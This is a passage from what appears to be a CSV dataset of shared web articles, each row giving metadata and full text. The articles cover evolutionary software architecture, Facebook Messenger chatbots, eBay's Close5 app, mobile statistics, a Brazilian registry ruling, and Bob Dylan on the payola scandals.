decisões arquiteturais devem ser tomadas incluem: Funções Fitness: Uma função arquitetural fitness especifica importantes características de um sistema. Exemplos incluem níveis de uptime, throughput, disponibilidade e segurança necessárias. Uma forma de visualizar é por meio de um gráfico radar apresentando todas as funções utilizadas. Trazer o que há de pior para o início: Tomar atitudes capazes de antecipar situações que possam ser a causa raiz de problemas frequentes e desta forma, identificar mais cedo e mais rápido suas causas e permitam a sua automação. Atitudes como esta, ajudam a remover situações geradoras de problemas. Além disso, práticas de entrega contínua, como o uso de técnicas de deployment pipelines e migração de banco de dados são exemplos que mostram que o uso de arquiteturas evolutivas podem ser implementadas de forma fácil. Decisões de última hora : O momento o qual uma decisão ocorre é uma das maiores diferenças entre arquiteturas tradicionais e evolutivas. Em uma arquitetura tradicional, decisões como por exemplo sobre infraestrutura, tipo de tecnologia a ser utilizada e padrões de comunicação são tomadas o mais cedo possível antes de escrever qualquer linha de código. Em uma arquitetura evolutiva, é aguardado o último momento antes de se tomar uma decisão. Decidir quando este momento ocorre pode ser uma tarefa muito difícil mas este é um cenário onde as funções fitness podem prover uma orientação a respeito. No entanto, decisões que influenciarão de forma significante a arquitetura ou que podem impactar os fatores críticos de sucesso do projeto precisam ser tomadas com antecedência. Neal Ford e Rebecca Parsons concluem afirmando que uma decisão arquitetural não é uma equação mas sim uma fotografia do processo em andamento naquele exato momento, enfatizando quão crítica a consciência operacional é para a arquitetura evolutiva, referindo-se tanto aos movimentos de entrega contínua como DevOps . Neal Ford recentemente proferiu um webinar abordando arquiteturas evolutivas. Durante o QCon Londres 2015 , Rebecca Parsons proferiu uma apresentação sobre o mesmo tema. Jimmy Bogard fez uma publicação em 2010 a respeito de arquiteturas evolutivas.",pt
1460992592,CONTENT SHARED,1449689399273695199,-1032019229384696495,1310371857892872479,,,,HTML,http://techcrunch.com/2016/04/18/facebook-sends-a-loud-message-about-messenger-bots-but-will-we-hear-it/,"Facebook sends a loud message about Messenger bots, but will we hear it?","Every time there is a conference where we get saturated coverage from a given company, we tend to buy into their vision, at least for the couple of days the company has our undivided attention. Last week, Facebook had its turn at F8 and boy, did it push Messenger and Messenger bots hard. Bots, for those of you who might unfamiliar with them, are pre-programmed interactions you can have with a business or media inside Messenger, a kind of conversation with a machine. They have the capacity for some intelligence and over time they can learn, based on your interactions, to get better at anticipating your needs (at least in theory). That certainly sounds impressive and we covered it extensively here at TechCrunch (including my story on Messenger traffic channel tools in Salesforce and Zendesk ). Perhaps my favorite story on the subject was from my colleague Sarah Perez, who tried the three Messenger bots featured at the announcement and came away wholly unimpressed . As Sarah rightly pointed out, it's early and maybe we can give them a break, but when you're hyping something to the degree Facebook was hyping Messenger bots last week, you probably want to get the early examples right or risk losing the crucial early adopters who think this kind of technology is pretty cool. The real question to me is do we want Messenger to be the center of our lives? Sure, I can ask a weather bot to text me the weather every day, but I can also open up the Weather app on my iPhone to get the same information quickly, and it's a lot prettier than the text-based message the weather service sends me. The thing is, if we started using Messenger for everything, how will we get the messages from our friends and family we actually want to see (presumably)? And then there's the whole business of ads or what Facebook calls ""sponsored messages,"" which will mean you have even more extraneous stuff to wade through just to get those meaningful conversations. Let's not forget Messenger is just one chat client out of many out there and they aren't the only ones using bots either. Sure Messenger has the huge audience, but how much can you use it before you start abusing that audience? What's more, the bot is a pretty primitive way of interacting. After years of dealing with slick, simple, highly graphical apps, in many ways bots feels like a huge step backward to the days of text-based interfaces. Sure, it's nice to do something in the chat client when you're already there, especially in parts of the world where chat use is way up, but bots aren't likely to take over from apps any time soon, as some have suggested . Apps didn't eliminate the web. And bots won't kill apps. It's another way of interacting, another channel where brands can interact with us. Let's not try to make it more than that because Facebook had a couple of days of our undivided attention.",en
1460995295,CONTENT SHARED,-9041546321432974047,-2979881261169775358,4439584469311270260,,,,HTML,http://weareinstrument.com/ball/,Browser Ball,"Browser Ball attempts, with only moderate success, to allow the configuration of a seemingly endless array of continuous spaces using multiple overlapping browser windows. Within this multivariate space, users are invited to toss a beach ball both hither and yon. If this sounds like a ridiculous use of everyone's time, that's only because it is.",en
1460996651,CONTENT SHARED,-6460613292182959076,6735372008307093370,-4494632242958291427,,,,HTML,http://eaiconteudo.com.br/blog/cartorios-nao-podem-recusar-registro-de-filhos-de-casais-homoafetivos/,Cartórios Não Podem Recusar Registro De Filhos De Casais Homoafetivos,"Agora vai ter registro em cartório de filho com duas mães ou dois pais sim . E se reclamar, vai ter até com três. Infelizmente, isso ainda só vale para reprodução assistida , ou seja, quando há inseminação artificial. De acordo com provimento do Conselho Nacional de Justiça , de 14 de março de 2016, os cartórios não podem se recusar a registrar crianças geradas por reprodução assistida e filhos/filhas de casais homoafetivos. Esta informação foi divulgada num post do facebook do Supremo Tribunal Regional. Quer ler o provimento? Clique aqui neste link. Vale lembrar que nos estados da Bahia e Mato Grosso casais de lésbicas já podem registrar os seus filhos, sejam adotados ou concebidos via reprodução assistida, desde o ano de 2015. No restante do Brasil, ainda é preciso entrar com uma ação judicial e depender da decisão de um juiz. You might also like",pt
1460996812,CONTENT SHARED,-8689461307495241608,-1032019229384696495,1310371857892872479,,,,HTML,http://techcrunch.com/2016/04/18/ebays-mobile-craigslist-competitor-close5-has-quietly-grown-to-7-million-downloads/,Ebay's mobile Craigslist competitor Close5 has quietly grown to 7 million downloads,"In the U.S., the online classifieds space has been dominated for years by Craigslist, despite its failure to adapt to newer technologies, including mobile. That has left room for newcomers to angle their way into the market, including big companies like Facebook, with its local selling groups, as well as smaller startups, like top-ranked shopping apps OfferUp and letgo. Ebay has also been quietly growing its own local selling marketplace amid this competition, and says today that its Close5 app has been downloaded over 7 million times to date. That's up from just 250,000 users as of June of last year, indicating the massive room for growth in the mobile, local selling arena. Ebay hasn't formally discussed its plans with Close5 until now, having instead focused on building the app's community and wrangling strategic partnerships like a newer one with a startup called Lugg which allows users to arrange to have items transported across town in an Uber-like fashion. Trying to Unseat Craigslist While eBay is best known for its online marketplace for buying and selling, it also runs local classified businesses in 17 markets worldwide, featuring a dozen different brands. This makes it the largest classifieds company in the world. Today it has classified apps in countries like The Netherlands, Germany, the U.K., Denmark, Singapore, Australis, South Africa, Canada and elsewhere. In 10 of its markets, eBay's classifieds app is considered the market leader, and its apps are often number one in the local App Store. Combined, the classified services group at eBay generated over $700 million in revenue in 2015, according to eBay's earnings - that makes it a significant business at the company, and also one where eBay has a lot of experience it can pull from now that it's aiming to repeat its success in the U.S. That said, the U.S. market is far more competitive, and unseating Craigslist has proven to be a difficult feat. Still, eBay believes that Craigslist's lack of a solid mobile strategy leaves room for new competition. ""It hasn't adopted new technology, like mobile. That the angle where we go in and reinvent the buying and selling process,"" explains Close5's CMO, Ozeguer Cakir. ""That means making use of the mobile device in many cases - one, of course, is getting the proximity and your location, but the other part is making use of your camera."" However, eBay isn't just focused on making local selling mobile-friendly. It's also rethinking everything about how classifieds should operate on mobile, from the visual layout to user privacy to transactions and more. For starters, Close5 is designed to be a highly visual app. The company wants users to launch the app when they have time to kill. That would make it different from standard e-commerce sites, which consumers visit with a specific goal in mind. Instead, the idea is to offer a somewhat Pinterest-like ""inspirational"" browsing experience. The app also addresses a few areas where Craigslist has fallen short, including speed, user privacy, managing transactions, transportation of larger items, and more. Thanks to eBay's knowledge of building marketplaces, Close5 is designed to be fast for sellers to list. Within 3 seconds, you can post an item for sale either within your own neighborhood or as far out as 50 miles. Close5 also lets users communicate privately rather than sharing phone numbers, emails or addresses. Buyers and sellers can simply agree to meet at a public location to make an exchange. Today, Close5 isn't facilitating transactions within the application, so any estimates of sales volume are difficult at this time. However, the company is actively working on this feature, among others. An upcoming version of Close5 will help users pick nearby spots to meet by suggesting meetup places like local coffee shops or malls. Another feature will offer calendar integration in order to suggest available times to meet. Ebay is also experimenting with adding different services that can help make transactions smoother. One such test is the Lugg integration, noted above. ""We've integrated Lugg with some of our items...if you buy a couch and you don't have a big car, you need someone to help you,"" Cakir explains. ""[We are] seeing if users adopt this...it's a small test,"" he notes. Other tests are underway as well, but eBay isn't prepared to discuss these, he Cakir adds. Competitors beyond Craigslist EBay clearly has the background and resources to develop a local selling service for the U.S. - its ""small team"" working on Close5 is 100 people strong, one-third of whom focus on customer service. However, it won't necessarily be the one that wins on mobile. Today, letgo is the #2 Shopping app (free) on Apple's App Store and rival OfferUp is #3. Ebay, meanwhile, lists Close5 in the less competitive ""Lifestyle"" category, where it's #4 (free). That makes it difficult to compare directly, but it's worth noting that Close5 is ranked #223 Overall while letgo is #46 and OfferUp is #49. Plus, Facebook has millions of groups on its site, and has said before that sale groups are the most popular category. EBay declined to discuss active users numbers for Close5 today, but Cakir ballparked its traction relative to the company's other properties. ""When we compare our Close5 user engagement with our other classifieds businesses around the world - even though we're in the early stages - the engagement of the users is as high the mature markets. So it's really positive,"" he says. Close5 is a free download for iOS and Android.",en
1460997523,CONTENT SHARED,1058260959930395162,3915038251784681624,5419594313893902814,,,,HTML,https://econsultancy.com/blog/67755-a-day-in-the-life-of-director-of-the-unexpected/,A day in the life of... Director of the Unexpected,"I'm sure Joss Davidge, Director of the Unexpected at BEcause, won't mind me saying that. The agency has been responsible for such work as the Boursin Sensorium (an early use of branded VR) - so, we thought Joss might have some interesting insights. Here's a day in his life... Please describe your job: what does a Director of the Unexpected do? As my title suggests, every day is different! But broadly, my role is all about helping brands think outside the box and connect with consumers in fresh and unexpected ways. With the support of my brilliant team of experiential experts, we design and deliver disruptive brand experiences that meet real marketing challenges. I'm responsible for a lot of different areas of the agency: business development, strategy, creative technology, right through to experiential planning and measurement. Over the last decade, I'm lucky enough to have worked with numerous household names and brands that I really admire across many sectors. Whereabouts do you sit within the organisation? Who do you report to? As you might imagine, the Director of the Unexpected reports to everybody and nobody. My role touches on every aspect of the business, so I have the privilege of working closely with inspiring people at all levels right across the team. What kind of skills do you need to be effective in your role? Curiosity, determination and a passion for trying new things are all essential. As an agency, we're always looking for new ways to push the boundaries, so I'm always thinking about how different brands could take advantage of latest trends and technologies. We thrive on creating surprise and intrigue through inspiring campaigns, and building brand love and loyalty in the process through hugely memorable experiential campaigns. It's also really important to have clear objectives in this industry, and to have a laser-like focus on success and measurement right from the very beginning. There's simply no point coming up with a big idea if it doesn't actually achieve your goals. Tell us about a typical working day... In this job, there really is no such thing. Every day brings with it different challenges and possibilities. One day I'm pitching for new business or leading one of our experiential marketing masterclasses for brand owners. The next day might find me testing out new CGI and virtual reality technology , or travelling across the globe to find out first-hand about the latest emerging trends. That variety is what I love about this role, and what I love about being part of a thriving and bustling agency. What do you love about your job? What sucks? The world of experiential marketing has always been a very exciting one where almost anything was possible. Now, with the huge growth of live creative tech such as VR and AR, impossible worlds are a reality. One of our most recent campaigns even allowed consumers to travel through the inside of a fridge . The opportunities for creativity are truly boundless, while the direct face-to-face element at the heart of all great activations remains just as powerful as it always has been. This ensures campaigns engage consumers at a very powerful, personal level and that messages stand the test of time. The only downside of my role is one that so many of us in this industry face: I'm always racing against the clock, and my greatest challenge is not having enough time to implement all our ideas. What kind of goals do you have? What are the most useful metrics and KPIs for measuring success? It's a total myth that experiential marketing is hard to evaluate. There may be a ton of creativity involved, but that doesn't mean experiential campaigns can't be as effectively measured as any other marketing or advertising activity. To measure success, you just need to be clear in advance what you're setting out to achieve, and use the best mix of tools and metrics to then gauge success. We actually have developed our own tool called the Brand Value Generator which we use to compare predicted and actual returns. What are your favourite tools to help you to get the job done? I have to confess to being a techno geek. That used to be a bad thing, but these days it is absolutely fundamental for marketing. I've bought every iPhone and iPad iteration that's come on the market, and I probably have in excess of 500 apps on my phone. The internet is also a sometimes undervalued resource, as we're all now so used to its presence at all times. But, used with intention, the web provides access to an unlimited supply of visual and creative content. I'm constantly scouring the web for new ideas and best practice examples. How did you get started in the digital industry, and where might you go from here? Before I joined BEcause, I spent 20 years involved in client-side marketing for some very well-known FMCG brands. Seeing the huge growth potential of experiential marketing and live brand experience, I decided to make the jump and join the agency world. With the development in VR and AR tech , it's a really exciting time for the experiential industry. More and more brands are now embracing the value of experiential and so the industry will only continue to accelerate even faster. We're only just hitting the tip of the iceberg for the potential these live creative technologies can offer. It's exciting to see what will happen next. Which brands do you think are doing digital well? I think Samsung and GoPro are both doing a great job. These are two brands that both understand the importance of good content and are not afraid to experiment to get results. The most successful digital brands are ones who recognise that they must offer the consumer something special. Reward their attention with great content and fresh experiences and you'll be well on the way to gaining consumer loyalty and building brand love. Do you have any advice for people who want to work in the digital industry? Explore as much as you can. There are so many different jobs and companies out there and each take a very different approach. It's important that you find the right one for you. When you really love what you do, it shows in your work and your attitude. And always look ahead. The digital industry changes so fast and the most successful individuals are the ones who can anticipate the changes and use them to their advantage. If you're looking for a new challenge in digital, see the Econsultancy jobs board or benchmark your own digital knowledge using our Digital Skills Index . Alternatively, if you already work in the digital industry and would like a Day In The Life profile, you can email us via press@econsultancy.com.",en
1460998159,CONTENT SHARED,-1839591250599587429,-8336698712796133957,-742443525920991740,,,,HTML,https://dzone.com/articles/22-mobile-stats-everyone-should-know,22 Mobile Stats Everyone Should Know - DZone Mobile,"One year ago, Google announced that it was expanding its use of mobile-friendliness as a ranking signal. Last month, it announced that, beginning in May, it would be rolling out new changes that ""increase the effect of the ranking signal to help our users find even more pages that are relevant and mobile-friendly"". READ: Google has expanded mobile-friendliness as a ranking signal. How to ensure your site is ready In 2015, people dubbed these changes ""Mobilegeddon"" and there was the usual predictable media panic. This panic wasn't completely unwarranted. Many retail brands were affected: by the summer of 2015, some sites that weren't mobile-friendly reported seeing up to a 10% dip in organic traffic. Mobile searches now exceed desktop searches , but these aren't the only changes we've seen in the past year. I recently did a talk - a state of the union for mobile - at the 2016 RWD Summit , where I presented current stats about mobile usage, traffic, spending, performance, user expectations, and other trends. I've embedded my deck at the bottom of this post if you're interested in checking it out, but I also want to highlight some of the most compelling new stats that turned up. Everyone is a mobile user This set of numbers is intended to put to rest any idea that there's a specific primary demographic group for mobile. Almost everyone is online, and almost everyone uses mobile. 1. 92% of US adults own a cellphone. [ Pew Research ] 2. Contrary to rumours, tablets are not dying. There are 166.7 million tablet users today. By 2020, that number is expected to grow to 185 million. [ eMarketer ] 3. Today, there are about 7.3 billion mobile subscribers worldwide. By 2021, that number is expected to hit 9.1 billion. (I'll do the math for you: that's 25% growth in six years.) [ Ericsson ] 4. Millennials are now the largest generation in the US, in terms of population. 81% of them primarily use mobile to shop. [ BI Intelligence ] 5. But don't discount older generations (like mine!). As Gen X-ers continue to age into the 46-54 range, they are the fastest growing cohort of mobile users. And one out of four mobile shoppers is over the age of 55. [ BI Intelligence ] What do people want from their mobile experiences? 6. The number one concern people have about any online experience is security: 30% worry about how secure transactions are. But performance issues - slow load times (27%) and page crashes (25%) - rank second and third. [ Harris/SOASTA ] 7. 90% of US adults who've used mobile to access customer support have had poor experiences. [ Software Advice ] 8. In a neuroscientific study, the level of stress caused by mobile delays was comparable to watching a horror movie , and was significantly more stressful than waiting in line at a bricks-and-mortar store. [ Ericsson ] How much are people spending via mobile? 9. In 2015, mobile commerce accounted for $115 billion worldwide. At the end of this year, that number is projected to reach $142 billion. That's 23% growth in just one year - a considerably uptick from the 15% year-over-year growth we've experienced in the past. [ Forrester ] 10. Mobile commerce accounts for 11% of overall ecommerce. But don't let that number trick you into devaluing the importance of mobile in making online transactions. Roughly one-third of retail traffic comes from mobile devices. Mobile is an integral part of the purchasing experience, even if the final transaction doesn't take place on a smartphone or tablet. [ Forrester ] 11. Further to the point above, 40% of purchases travel across devices, driven by mobile and apps. This comes from a study of 1.4 billion online transactions. [ Criteo ] 12. Between 2014 and 2015, traffic from mobile devices increased from 40% to 75% of total retail traffic. This was one of the findings of a study we did at SOASTA, where we compared the performance of twelve IR200 retailers from year to year. READ: Back-to-school ecommerce report card: Retailers' performance ""sweet spot"" now 2 seconds for both mobile and desktop 13. By 2020, smartphones and tablets are expected to account for 48% - almost half - of ecommerce sales. [ Forrester ] 14. Mobile-optimized sites report better retail metrics than unoptimized sites. They experience 3 product views per visit, compared to 2.3 product views for unoptimized sites. They also enjoy a significantly higher average add-to-basket rate (12% versus 8.2%) and average conversion rate (3.4% versus 1.6%). [ Criteo ] The mobile landscape 15. Between Q4 2014 and Q4 2015, there was 65% growth in mobile data traffic. Some, but not all, of that traffic can be attributed to video. Some can be attributed to page growth. See below. [ Ericsson ] 16. In March 2016, the average size of a page served to mobile devices was 1300 KB , up from 1153 KB in March 2015. This represents almost 13% growth year over year. [ Mobile HTTP Archive ] 17. Images comprise roughly 62% of the average page's total weight, weighing in at 803 KB. (Scripts come in second, at 308 KB or 24% of total page weight.) [ Mobile HTTP Archive ] 18. More bandwidth isn't a performance cure-all, especially for mobile. In a comparison of load times and network types, DSL and '3G - Fast' had comparable bandwidth (1.5 Mbps versus 1.6 Mbps), but the 3G connection was 32.5% slower. The key differentiator between these two connections wasn't bandwidth - it was latency. Comparing fast and slow 3G connections further illustrates the combined impact of latency and bandwidth. The faster connection had 105% greater bandwidth than the slow connection, yet its median page load was only 38.5% faster. READ: Here's why more bandwidth isn't a magic bullet for web performance 19. Android fragmentation increased by 28% between 2014 and 2015. In its most recent annual Android fragmentation report, OpenSignal said ""We have seen 24,093 distinct devices download our app in the past few months. In our report last year we saw 18,796. In 2013, we saw 11,868."" [ OpenSignal ] Mobile web performance 20. The mobile performance sweet spot for some retailers may be as low as 2.4 seconds. This number comes from a case study about an IR200 retailer, correlating load time with conversions. At 4.2 seconds, the average conversion rate dropped below 1%. READ: Case study: Mobile pages that are 1 second faster experience up to 27% increase in conversion rate 21. Peak conversion rate for smartphones increased by 450% between 2014 and 2015. This stat comes from another case study. For this research, we loaded user data for twelve different IR200 retailers, all of which cater to the back-to-school shopping crowd. We focused on the one-month period leading up to Labor Day for 2014 and 2015. All together, this totalled more than 500 million user sessions, resulting in 6.5 billion beacons. In 2014, the peak conversion rate for this set of sites was a mere 0.4%. Just twelve months later, peak conversion rate for the same set of sites was just over 2.2%. In other words, between 2014 and 2015, the peak conversion rate grew by 450%. The graphs below illustrate this huge shift. The gold bars represent the distribution of sessions across load times from 1 to 15 seconds. The blue line represents the conversion rate across these sessions. [ SOASTA ] 22. Despite the measurable benefits of improving mobile performance, only 12% of CSS developers consider performance a top priority. Why is this number so small? My best guess is a combination of lack of awareness and lack of resources. [ Sitepoint ] Takeaways These are a lot of numbers to digest. While numbers are fascinating, what's more important are the conclusions we can draw from them. Here are my seven big takeaways from all this:",en
1460999762,CONTENT SHARED,162771765556771108,-48161796606086482,-991198251683695933,,,,HTML,http://www.fastcodesign.com/3058818/how-facebooks-big-bet-on-chatbots-might-remake-the-ux-of-the-web,How Facebook's Big Bet On Chatbots Might Remake The UX Of The Web,"At F8, Facebook's massive annual developer conference, the big news is bots-specifically bots on Messenger, Facebook's messaging app. Messenger now boasts 900 million users per month, which presents a tantalizing user base for companies eager to get their wares in front of customers. That's where the bots come in. Facebook is turning Messenger into an open platform, and any company can now build a chatbot that users can talk with. If you're an airline, you can build a chatbot to book tickets; if you're OpenTable you can build a chatbot to take reservations. ""To me it's about bringing back all the best parts of the interaction between people and businesses,"" David Marcus, vice president of messaging products at Facebook, says in an interview. ""What we're trying to build with bots are rich conversational experiences. That's what we believe will be the future of interactions and services."" Chatbots seem like a new fad in software design: Microsoft just announced its own suite of bot-building tools; Kik, the messaging platform massively popular among teens, announced one as well. But there are deep reasons why chatbots make sense. The app model has stalled out: People don't use a ton of apps, and they don't download many either. The reason is simple: There's an enormous amount of friction associated with learning about a new app, downloading it, signing up for it, and then remembering you even have it. The promise of chatbots is that from within Facebook Messenger you can do anything you'd like. For example, you can book an airline ticket for the the first time or call an Uber, with a speed and ease that would be impossible if you were toggling between apps. Moreover, because you're already in Messenger, there's no need to sign up all over again if you're trying out a new service. Messenger already knows who you are, and once you start a conversational thread, your transaction history is right there, threaded into one neat, tidy stream of conversation that you and the bot can access. ""We have a two-sided network,"" explains Marcus. ""There are 15 million businesses using pages and 1.6 billion people using Facebook as their identity. These can now come together in threads that are contextual and canonical. For the lifetime of your interaction everything stays in one place, unlike email."" And, unlike email, your Facebook profile becomes the keystone of your online identity. Your Facebook profile becomes the keystone of your online identity. The other issue is discovery-exactly the problem that the app ecosystem failed to solve. To that end, Facebook is making sure that the bots are piggybacking onto the existing user flows of the mobile web. If they're successful, bots will become something like the new Like button: There will be new plugins that companies can add to their websites, which will fire up their chatbots in Messenger. There will also be codes that businesses can slap onto stickers in their real life spaces-much like Kik does -which will allow patrons to fire up chatbots on the spot. Both Facebook Newsfeed and SMS messages will now have a prompt letting you continue a thread inside of messenger. In that way, Facebook is really hoping to create a new paradigm for the web altogether. You might start off at an airline's website, but tapping a ""chat"" button leads you right back into Messenger, where you can complete your reservation. You might start off by browsing your Facebook feed, but end up chatting with CNN's chatbot. With a tap from almost anywhere, users can be led right back into Messenger, exactly where Facebook wants them. Wherever you are-checking out on a website or reading an article in your needs feed-there will be a new chatbot option that could become a default for millions of people, if they're designed right. Designing a chatbot seems perhaps easier than it is. For Facebook, the process began with a design sprint. Holed up in an Airbnb for three days, the Facebook Messenger team focused on a few problems that they had encountered in the experimental chatbots that they had created for clothing retailers Everlane and Zulily. Perhaps the biggest challenge was teaching people what the bots could even do. In that sense, Facebook's increasingly powerful natural-language AI-Wit.ai, which is also being opened up to third-party developers-was a potential hinderance. Let's say you fired up a bot. What's the first What does it do? What doesn't it do? What's the first think you say? That's why the experience with bots is less free-form than real chat. You're presented with a series of options that you click, progressively telling the bot your preferences for how often you'll be notified or what kinds of information you'd like to receive-""Like a Goosebumps choose your own adventure book,"" explains Jeremy Goldberg, a product designer for business and platform at Facebook. But there are some particulars about how the chatbot itself should behave. Facebook boils these down to four design guidelines, that all bots should adhere to: That the bots should be conversational, issuing messages in a natural tone of voice and short, pithy responses paced quickly but not so quickly that the bot is oppressively present-like a chat partner hanging on your every word and expecting just as quick of a response. The responses themselves can be interactive bubbles. Some let you horizontally scroll through a list of sweatshirts via Everlane or a list of popular stories via CNN. Others present options that you can tap-for example, you could share your present location with a weather app like Poncho-thus quickly making your your conversations more useful. Chatbots in Kik and elsewhere work much like this already, with guided options that push your chat along. But Facebook believes that the future will yield deeper and deeper integrations between the chatbots and the sensors and data on your phone. ""We will keep pushing that forward. More and more kinds of messages and information that you can exchange,"" says Austin Bales, product-design manager at Facebook. Moreover, the natural language AI will get better, as bots hoover up more and more data about the things people say and the questions they ask. Over time, according to Marcus, this mix of natural language chat and tappable bubbles will yield a chatbot UX that feels increasingly fluid and intuitive. Facebook, for its part, believes that chatbots are already surprisingly intuitive to use. ""It's like before you order a cab or takeout on your phone. Before you did it for the first time, you probably thought that calling a phone number or using a website was just fine. But then you use an app and it just makes so much sense,"" says Bales. To which Goldberg, his colleague, adds: ""There was an 'aha' when we showed people the prototypes. They hadn't thought about interacting with businesses the same as you would with a person. But then it just seems like, 'Of course you should be able to do this.'"" Which makes sense. Then again, we'll see how well users cotton to chatbots, which have, after all, been around since the days of IRC. Only users will decide if they really are faster and more fluid than apps; the proof will be in both the numbers and the nuances of how useful the chatbots prove to be in aggregate. Facebook probably has to get it right, if for no other reason that as a hedge. With users reportedly sharing less and less on Facebook every year, it makes sense for them to create a business-friendly platform where users already are: Happily chatting away, devoting as much time as ever to talking directly with friends on their messaging apps, with less and less need for Facebook proper.",en
1461003826,CONTENT SHARED,2925450084561574364,-3390049372067052505,2060202866984503490,,,,HTML,https://medium.com/@brentellesmith/like-it-is-bob-dylan-explains-what-really-killed-rock-n-roll-f6a4b6587a1a,Like It Is: Bob Dylan Explains What Really Killed Rock 'n' Roll,"Like It Is: Bob Dylan Explains What Really Killed Rock 'n' Roll And no, it wasn't Nickelback. Writer's Note: This is not an indictment on any particular act, or genre of music. Music is the Word. Period. This is simply an attempt to shed light on an unnerving moment in music historicity, and the devastating effects big money can have when attempting to hijack music's forever unfolding. Input/ feedback/ distortion is welcome. Last year, Bob Dylan gave only one interview about his recent live album Shadows in the Night , comprised of ten pop ballads made famous by Frank Sinatra in the late 50's and early 60's. Was the sole interview with Rolling Stone or Vice ? No - it appeared in the February/March 2015 issue of AARP . Of all things, right? I wondered, staring at Dylan's aged visage in aviators and a bolo tie, if he was still up to his old tricks of trolling the press with salty wit. It turns out the editor-in-chief Robert Love used to work at Rolling Stone, which is why Dylan reached out to him. ""'I don't work at RS anymore,' I told [Dylan's representatives], thinking it was a case of crossed wires, since I put in 20 years there. No, they said, there's no mistake; he wants to talk to your readers..."" Keep in mind, Dylan is also 74 years old, and given the fact no one under the age of 50 could genuinely appreciate the new album, it all started to make more sense. I picked up the issue that sat on top of a neglected magazine pile on my father's desk (if I hadn't visited that weekend, I would never have known of its existence). On the cover were the words, Dylan Behind the Shades: his new album and what he thinks about passion, aging, Sinatra -  and why rock 'n' roll died . Okay, fine, I'll bite. I'll read your geriatric rag about how rock died, according to Dylan. After all, this man was a bona fide troubadour in his 20s, the scrawny minstrel toad who channeled to us ""Blowin' In The Wind"" - an instant classic that made its way into the American folk canon as seamlessly as Guthrie's ""This Land Is Your Land"" - and then turned around to give us ""Like A Rolling Stone,"" a rambling 6-minute trip that shattered the Top 40 pop paradigm at the time, and revealed to us the dicey, awesome schizophrenia of Bob Dylan. Surely, he must have some insight. There's always been that sardonic sense that ""real rock is dead,"" from Johnny Rotten to Kurt Cobain , up to today, where it seems everyone is bitching about it. (For the record, rock is far from dead). But it's never clear where the genesis of this sentiment actually stems from, and like trying to locate the Big Bang, it proves futile... until now. I expected another old-guy-yelling-from-his-porch sentiment on how modern rock is boring blah blah blah ( I'm looking at you, Scorsese ). What I got, however, was a heartbreaking revelation of a silent assassination. Essentially: From its fused inception, rock 'n' roll was already a racially integrated American invention being blasted in teenage bedrooms as early as 1955, but as the Civil Rights Movement was gaining momentum going into 1960, the genre was being commercially segregated, on the sly, into white (British Invasion) and black (soul) music by the (WASPy) establishment. Needless to say, I was floored. Why wasn't this common knowledge? It was quite the bombshell, and one that predates the beloved (no matter how tired) rock pantheon whose zenith is too often capped at the Beatles and the Rolling Stones - who, it should be noted, however great, are not American bands. It's also important to note that no one person or act invented the genre formally known as rock, it was, generally speaking, wrought from the confluence of Americana forces: big band, jazz, and country blues. ""My Payola,"" a Racial Divide, Rock's Sexual Problem & the Year the Music Died So the article starts out with Dylan discussing the production of his recent album, the fact that his band was made up of old-timer elements like the pedal steel and stand up bass, and that there were no overdubs or separate tracking and it all sounds great. But when the conversation moves into his early influences during childhood, he goes off onto a tangent about rock 'n' roll. ""I was still an aspiring rock n roller. The descendant, if you will, of the first generation of guys who played rock 'n' roll - who were thrown down. Buddy Holly, Little Richard, Chuck Berry, Carl Perkins, Gene Vincent, Jerry Lee Lewis. They played this type of music that was black and white. Extremely incendiary. Your clothes could catch fire. When I first heard Chuck Berry, I didn't consider that he was black. I thought he was a hillbilly. Little did I know, he was a great poet, too. And there must have been some elitist power that had to get rid of all these guys, to strike down rock 'n' roll for what it was and what it represented - not least of all being a black- and -white thing."" Love probed further, asking Dylan, ""Do you mean it's musical race-mixing and that's what made it dangerous?"" ""Racial prejudice has been around awhile, so, yeah. And that was extremely threatening for the city fathers, I would think. When they finally recognized what it was, they had to dismantle it, which they did, starting with payola scandals. The black element was turned into soul music, and the white element was turned into English pop. They separated it [...] Well, it was apart of my DNA, so it never disappeared from me. I just incorporated it into other aspects of what I was doing. I don't know if this answers the question. [Laughs.] I can't remember what the question was."" It was jarring how he tossed it into the conversation so casually, a fun little tidbit, like, oh, by the way, real rock barely saw the 60's before it was hijacked, fractured, and packaged to different demographics (of color). The payola scandals he's talking about came about when it was revealed labels and distributing companies were bribing disc jockeys to spin certain records a certain amount of times per week. Before DJ's were known as the lucrative, technical button-pushers they are today, they were lucrative curators of music trends in the 1950's, when cheap 45 rpm's took off and the American teenager (*Boomer alert*) was, for the first time, a viable economic force. In 1950, there were approximately 250 disc jockeys in the U.S. By 1957, the number had grown to over 5,000. The increase was partially due to the sheer amount of new records being produced, both by major and indie labels. As the name suggests, a disc jockey was responsible for sorting through all these releases (naturally, the sorting was influenced by payola). These on-air personalities had so much clout with younger listeners, Time magazine called them the ""poo-bahs of musical fashion and pillars of U.S. low- and middle-brow culture."" It took exposés from Billboard and Variety to finally call it out for what it was, demanding reform in the business. Billboard even took the discerning effort to write, ""The cancer of payola cannot be pinned on rock 'n' roll."" The hammer eventually came down in 1959, when 335 DJs admitted to receiving over $263,000 in ""consulting fees"" before the U.S. House Oversight Committee (that's over $2.1 million in today's money). That figure was only the tip of the payola iceberg (before the hearings, Phil Lind, a DJ at Chicago's WAIT had confessed that he had once taken $22,000 to play a single record). The trial heated up when the two most influential jocks in the country took the stand. Alan Freed and Dick Clark both played important parts in the rise of rock 'n' roll (Freed embodied the incendiary spirit of the music more than Clark, refusing to play white cover versions of black songs, such as Pat Boone's ""Tutti Frutti""). And though they both denied ever accepting payola, it's almost impossible to imagine two young, popular jocks not succumbing to a little temptation. Guilty or not, it was Freed who ended up taking the fall for DJs everywhere. Why does this payola thing even matter? Because it means certain musical acts and groups signed to certain labels were ensured to be played, over and over, to every and any teenager in America in earshot of a radio. So if those same labels preferred to sign more white musicians over black musicians, it was a real effective way of keeping those black musicians out of the newly-created Top 40 loop. This brings up a small, but vital footnote in music history. What mainly disturbed and threatened these ""city fathers"" Dylan mentions was the unabashed sexuality inherent in rock 'n' roll - no doubt stemming from the sweaty gyrations of jazz. In this respect, rock 'n' roll wasn't much cared for by a lot of prominent, high-brow figures at the time, from Frank Sinatra to Martin Luther King, Jr. Being a devout man, King acknowledged the threat that rock's explicit sexuality posed to black assimilation into ""civilized"" America. In his ""Advice For Living"" column in Ebony (which ran from '58-'59), he informed readers that rock 'n' roll ""plunges men's minds into degrading and immoral depths."" Sinatra had his own thoughts on the matter. In a 1957 article he penned in the Los Angeles Mirror News, he laid his disdain down pretty thick: ""My only 